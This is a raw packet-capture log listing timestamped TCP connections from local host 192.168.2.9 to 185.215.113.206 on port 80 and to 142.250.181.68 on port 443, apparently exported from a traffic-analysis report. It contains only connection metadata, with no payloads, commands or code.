Dec 16, 2024 10:37:45.621136904 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.621833086 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.621851921 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.621973038 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.625864029 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.625876904 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.629065037 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.668260098 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.668545008 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.668555021 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.668567896 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.669753075 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.669768095 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.669821978 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.669821978 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.669821978 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.670998096 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.671010017 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.672178030 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.672190905 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.672852993 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.672866106 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.672930002 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.672930002 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.672930002 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.672930002 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.673855066 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.673867941 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.674362898 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.674375057 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.675272942 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.675285101 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.676294088 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.676306963 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.676347971 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.676347971 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.676347971 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.676347971 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.677319050 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.677330971 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.677822113 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.678345919 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.678360939 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.679212093 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.679694891 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.681051016 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.681065083 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.681098938 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.681098938 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.681098938 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.681098938 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.681433916 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.734528065 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.735126972 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.735138893 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.735723972 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.735737085 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.735776901 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.735776901 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.737116098 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.737129927 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.737142086 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.737289906 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.737289906 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.737840891 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.738869905 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.738882065 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.739614010 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.740042925 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.740056038 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.740067959 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.740319967 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.740319967 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.741143942 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.741157055 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.741168976 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.741233110 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.741233110 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.743119955 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.743133068 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.743145943 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.743202925 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.743202925 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.744370937 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.744383097 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.744395971 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.744420052 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.745824099 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.745848894 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.745862961 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.746917009 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.746928930 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.746942043 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.746970892 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.746970892 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.747992992 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.748027086 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.748038054 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.748050928 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.748086929 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.748105049 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.749855042 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.749866962 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.749880075 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.750261068 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.750261068 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.750926018 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.750938892 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.750952005 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.751116037 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.751116037 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.752764940 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.752777100 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.752790928 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.752818108 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.753750086 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.753762007 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.753808022 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.753808022 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.754812002 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.754843950 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.754857063 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.754868984 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.754965067 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.754965067 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.756702900 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.756716013 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.756736994 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.756815910 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.756815910 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.757839918 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.757852077 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.757863998 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.759634972 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.759648085 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.759660006 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.759692907 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.759692907 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.759692907 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.760298014 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.801964045 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.802068949 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.802134991 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.802134991 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.802488089 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.802593946 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.802697897 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.803410053 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.803481102 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.803564072 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.803822994 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.804563046 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.804574966 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.804718971 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.804718971 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.805527925 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.805541039 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.805651903 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.806427002 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.806473970 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.806540012 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.807403088 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.807641029 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.807667971 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.807883024 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.808343887 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.808413029 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.808471918 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.808542967 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.809514046 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.809525013 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.809724092 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.810301065 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.810583115 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.810666084 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.811374903 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.811436892 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.811455965 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.811511040 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:47.932005882 CET	49822	443	192.168.2.9	142.250.181.68
Dec 16, 2024 10:37:47.932059050 CET	443	49822	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:47.932123899 CET	49822	443	192.168.2.9	142.250.181.68
Dec 16, 2024 10:37:47.932210922 CET	49823	443	192.168.2.9	142.250.181.68
Dec 16, 2024 10:37:47.932246923 CET	443	49823	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:47.932301998 CET	49823	443	192.168.2.9	142.250.181.68
Dec 16, 2024 10:37:47.935189009 CET	49823	443	192.168.2.9	142.250.181.68
Dec 16, 2024 10:37:47.935203075 CET	443	49823	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:47.935506105 CET	49822	443	192.168.2.9	142.250.181.68
Dec 16, 2024 10:37:47.935518980 CET	443	49822	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:47.953975916 CET	49828	443	192.168.2.9	142.250.181.68
Dec 16, 2024 10:37:47.954005957 CET	443	49828	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:47.954056978 CET	49828	443	192.168.2.9	142.250.181.68
Dec 16, 2024 10:37:47.954344034 CET	49828	443	192.168.2.9	142.250.181.68
Dec 16, 2024 10:37:47.954359055 CET	443	49828	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:48.012244940 CET	49830	443	192.168.2.9	142.250.181.68
Dec 16, 2024 10:37:48.012273073 CET	443	49830	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:48.012326002 CET	49830	443	192.168.2.9	142.250.181.68
Dec 16, 2024 10:37:48.012573957 CET	49830	443	192.168.2.9	142.250.181.68
Dec 16, 2024 10:37:48.012589931 CET	443	49830	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:49.515377045 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:49.516433001 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:49.633248091 CET	443	49822	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:49.635649920 CET	443	49823	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:49.643922091 CET	443	49828	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:49.648056030 CET	49828	443	192.168.2.9	142.250.181.68
Dec 16, 2024 10:37:49.648087978 CET	443	49828	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:49.648154020 CET	49823	443	192.168.2.9	142.250.181.68
Dec 16, 2024 10:37:49.648176908 CET	443	49823	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:49.649216890 CET	443	49828	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:49.649300098 CET	49828	443	192.168.2.9	142.250.181.68
Dec 16, 2024 10:37:49.652223110 CET	443	49823	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:49.652312040 CET	49823	443	192.168.2.9	142.250.181.68
Dec 16, 2024 10:37:49.671961069 CET	49822	443	192.168.2.9	142.250.181.68
Dec 16, 2024 10:37:49.671974897 CET	443	49822	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:49.673090935 CET	443	49822	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:49.673286915 CET	49822	443	192.168.2.9	142.250.181.68
Dec 16, 2024 10:37:49.676261902 CET	49823	443	192.168.2.9	142.250.181.68
Dec 16, 2024 10:37:49.676420927 CET	49828	443	192.168.2.9	142.250.181.68
Dec 16, 2024 10:37:49.676588058 CET	443	49823	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:49.676738977 CET	443	49828	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:49.677664042 CET	49822	443	192.168.2.9	142.250.181.68
Dec 16, 2024 10:37:49.677736044 CET	443	49822	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:49.678999901 CET	49823	443	192.168.2.9	142.250.181.68
Dec 16, 2024 10:37:49.679022074 CET	443	49823	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:49.679173946 CET	49828	443	192.168.2.9	142.250.181.68
Dec 16, 2024 10:37:49.679193974 CET	443	49828	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:49.679619074 CET	49822	443	192.168.2.9	142.250.181.68
Dec 16, 2024 10:37:49.679629087 CET	443	49822	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:49.704058886 CET	443	49830	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:49.726262093 CET	49828	443	192.168.2.9	142.250.181.68
Dec 16, 2024 10:37:49.726293087 CET	49823	443	192.168.2.9	142.250.181.68
Dec 16, 2024 10:37:49.726293087 CET	49822	443	192.168.2.9	142.250.181.68
Dec 16, 2024 10:37:49.754239082 CET	49830	443	192.168.2.9	142.250.181.68
Dec 16, 2024 10:37:49.992212057 CET	49830	443	192.168.2.9	142.250.181.68
Dec 16, 2024 10:37:49.992242098 CET	443	49830	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:49.993571997 CET	443	49830	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:49.993648052 CET	49830	443	192.168.2.9	142.250.181.68
Dec 16, 2024 10:37:50.047844887 CET	49830	443	192.168.2.9	142.250.181.68
Dec 16, 2024 10:37:50.048003912 CET	443	49830	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:50.079209089 CET	49830	443	192.168.2.9	142.250.181.68
Dec 16, 2024 10:37:50.079240084 CET	443	49830	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:50.080873013 CET	49828	443	192.168.2.9	142.250.181.68
Dec 16, 2024 10:37:50.080985069 CET	443	49828	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:50.081046104 CET	49828	443	192.168.2.9	142.250.181.68
Dec 16, 2024 10:37:50.131659031 CET	49830	443	192.168.2.9	142.250.181.68
Dec 16, 2024 10:37:50.476499081 CET	443	49823	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:50.476545095 CET	443	49823	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:50.476749897 CET	49823	443	192.168.2.9	142.250.181.68
Dec 16, 2024 10:37:50.476768017 CET	443	49823	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:50.484579086 CET	443	49823	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:50.484623909 CET	49823	443	192.168.2.9	142.250.181.68
Dec 16, 2024 10:37:50.484633923 CET	443	49823	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:50.489325047 CET	443	49823	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:50.489394903 CET	49823	443	192.168.2.9	142.250.181.68
Dec 16, 2024 10:37:50.490150928 CET	443	49822	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:50.490221977 CET	443	49822	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:50.490274906 CET	443	49822	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:50.490286112 CET	49822	443	192.168.2.9	142.250.181.68
Dec 16, 2024 10:37:50.490310907 CET	443	49822	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:50.490356922 CET	49822	443	192.168.2.9	142.250.181.68
Dec 16, 2024 10:37:50.490362883 CET	443	49822	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:50.490930080 CET	49823	443	192.168.2.9	142.250.181.68
Dec 16, 2024 10:37:50.490947008 CET	443	49823	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:50.514087915 CET	443	49822	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:50.514127016 CET	443	49822	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:50.514147997 CET	49822	443	192.168.2.9	142.250.181.68
Dec 16, 2024 10:37:50.514157057 CET	443	49822	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:50.514189005 CET	49822	443	192.168.2.9	142.250.181.68
Dec 16, 2024 10:37:50.522751093 CET	443	49822	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:50.527448893 CET	443	49822	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:50.527576923 CET	49822	443	192.168.2.9	142.250.181.68
Dec 16, 2024 10:37:50.527592897 CET	443	49822	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:50.569664001 CET	49822	443	192.168.2.9	142.250.181.68
Dec 16, 2024 10:37:50.609930038 CET	443	49822	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:50.663398981 CET	49822	443	192.168.2.9	142.250.181.68
Dec 16, 2024 10:37:50.663404942 CET	443	49822	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:50.681941032 CET	443	49822	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:50.682041883 CET	49822	443	192.168.2.9	142.250.181.68
Dec 16, 2024 10:37:50.682066917 CET	443	49822	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:50.692804098 CET	443	49822	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:50.692950964 CET	49822	443	192.168.2.9	142.250.181.68
Dec 16, 2024 10:37:50.692956924 CET	443	49822	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:50.702312946 CET	443	49822	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:50.702373981 CET	49822	443	192.168.2.9	142.250.181.68
Dec 16, 2024 10:37:50.702380896 CET	443	49822	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:50.714411974 CET	443	49822	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:50.714504957 CET	49822	443	192.168.2.9	142.250.181.68
Dec 16, 2024 10:37:50.714510918 CET	443	49822	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:50.728496075 CET	443	49822	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:50.728557110 CET	49822	443	192.168.2.9	142.250.181.68
Dec 16, 2024 10:37:50.728564024 CET	443	49822	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:50.740952015 CET	443	49822	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:50.741019011 CET	49822	443	192.168.2.9	142.250.181.68
Dec 16, 2024 10:37:50.741024971 CET	443	49822	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:50.744642019 CET	443	49830	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:50.745024920 CET	443	49830	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:50.745090008 CET	49830	443	192.168.2.9	142.250.181.68
Dec 16, 2024 10:37:50.745841026 CET	49830	443	192.168.2.9	142.250.181.68
Dec 16, 2024 10:37:50.745862007 CET	443	49830	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:50.754223108 CET	443	49822	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:50.754364967 CET	49822	443	192.168.2.9	142.250.181.68
Dec 16, 2024 10:37:50.754370928 CET	443	49822	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:50.769889116 CET	443	49822	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:50.769939899 CET	49822	443	192.168.2.9	142.250.181.68
Dec 16, 2024 10:37:50.769944906 CET	443	49822	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:50.777156115 CET	443	49822	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:50.777231932 CET	49822	443	192.168.2.9	142.250.181.68
Dec 16, 2024 10:37:50.777237892 CET	443	49822	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:50.790303946 CET	443	49822	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:50.790369987 CET	49822	443	192.168.2.9	142.250.181.68
Dec 16, 2024 10:37:50.790378094 CET	443	49822	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:50.803536892 CET	443	49822	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:50.803606987 CET	49822	443	192.168.2.9	142.250.181.68
Dec 16, 2024 10:37:50.803613901 CET	443	49822	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:50.816492081 CET	443	49822	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:50.816621065 CET	49822	443	192.168.2.9	142.250.181.68
Dec 16, 2024 10:37:50.816631079 CET	443	49822	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:50.866846085 CET	49822	443	192.168.2.9	142.250.181.68
Dec 16, 2024 10:37:50.874417067 CET	443	49822	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:50.876364946 CET	443	49822	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:50.876435041 CET	49822	443	192.168.2.9	142.250.181.68
Dec 16, 2024 10:37:50.876452923 CET	443	49822	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:50.883296967 CET	443	49822	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:50.883327961 CET	443	49822	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:50.883420944 CET	49822	443	192.168.2.9	142.250.181.68
Dec 16, 2024 10:37:50.883434057 CET	443	49822	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:50.883486986 CET	49822	443	192.168.2.9	142.250.181.68
Dec 16, 2024 10:37:50.887433052 CET	443	49822	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:50.892906904 CET	443	49822	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:50.892956972 CET	49822	443	192.168.2.9	142.250.181.68
Dec 16, 2024 10:37:50.892970085 CET	443	49822	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:50.898639917 CET	443	49822	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:50.898660898 CET	443	49822	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:50.898721933 CET	49822	443	192.168.2.9	142.250.181.68
Dec 16, 2024 10:37:50.898732901 CET	443	49822	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:50.898818016 CET	49822	443	192.168.2.9	142.250.181.68
Dec 16, 2024 10:37:50.906522989 CET	443	49822	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:50.916474104 CET	443	49822	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:50.916512012 CET	443	49822	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:50.916533947 CET	49822	443	192.168.2.9	142.250.181.68
